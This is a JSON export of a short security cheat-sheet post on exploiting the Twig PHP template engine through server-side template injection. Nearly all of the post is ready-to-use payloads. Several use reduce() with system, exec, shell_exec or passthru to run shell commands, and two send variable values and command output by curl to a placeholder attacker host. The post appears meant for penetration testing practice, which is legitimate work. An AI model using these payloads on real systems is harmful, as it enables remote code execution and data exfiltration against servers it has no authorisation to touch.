{"id":4993,"date":"2026-06-10T16:42:07","date_gmt":"2026-06-10T14:42:07","guid":{"rendered":"https:\/\/infosec.andreas-klingler.de\/?p=4993"},"modified":"2026-06-15T12:48:42","modified_gmt":"2026-06-15T10:48:42","slug":"twig-template-engine","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=4993","title":{"rendered":"Twig Template Engine"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Twig is a MVC-based tem\u00adplate engine for&nbsp;<span class=\"caps\">PHP<\/span>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/twig.symfony.com\/doc\/3.x\/\">Doc\u00adu\u00admen\u00adta\u00adtion<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Out\u00adput a&nbsp;value:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">{{ var }}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Force a error, e.g. via a invalid operation:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">{{'a' * 5}}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Con\u00adcata\u00adna\u00adtion of strings:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">{{ 'a' ~ 'a' }}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The <em>reduce<\/em> method take a func\u00adtion and then para\u00adme\u00adters\u2026 (It\u2019s a <span class=\"caps\">PHP<\/span> tem\u00adplate engine, remember?)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">{{ [0]|reduce('system','whoami')}}<br>{{ [0]|reduce('exec', 'whoami') }}<br>{{ [0]|reduce('shell_exec', 'whoami') }}<br>{{ [0]|reduce('passthru', 'whoami') }}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">To find more of that kind: Scan the docu for com\u00admands which use functions&nbsp;(=&gt;).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Exfil\u00adtra\u00adtion of a variable:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">{% set exfil = \"Hello\"| url_encode %}<br>{{ [0]|reduce('system','curl http:\/\/$attacker\/bla?exfil=' ~ exfil)}}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Exfil\u00adtra\u00adtion of com\u00admand returns:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">{% set output %}<br>{{[0]|reduce('system','whoami')}}<br>{% endset %}<br><br>{% set exfil = output| url_encode %}<br>{{ [0]|reduce('system','curl http:\/\/$attacker\/bla?exfil=' ~ output)}}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Twig is a MVC-based tem\u00adplate engine for&nbsp;<span class=\"caps\">PHP<\/span>. Doc\u00adu\u00admen\u00adta\u00adtion Out\u00adput a&nbsp;val\u00adue: {{ var }} Force a error, e.g. via a invalid oper\u00ada\u00adtion: {{\u2018a\u2019 * 5}} Con\u00adcata\u00adna\u00adtion of strings: {{ \u2018a\u2019 ~ \u2018a\u2019 }} The reduce method take a func\u00adtion and then para\u00adme\u00adters\u2026 (It\u2019s a <span class=\"caps\">PHP<\/span> tem\u00adplate engine, remem\u00adber?) {{ [0]|reduce(\u2018system\u2019,\u2018whoami\u2019)}}{{ [0]|reduce(\u2018exec\u2019, \u2018whoa\u00admi\u2019) }}{{ [0]|reduce(\u2018shell_exec\u2019, \u2018whoa\u00admi\u2019) }}{{ [\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470,471],"tags":[143,540,541],"class_list":["post-4993","post","type-post","status-publish","format-standard","hentry","category-active-enum","category-privesc","tag-php","tag-template","tag-twig"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4993","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4993"}],"version-history":[{"count":6,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4993\/revisions"}],"predecessor-version":[{"id":5017,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4993\/revisions\/5017"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4993"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4993"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}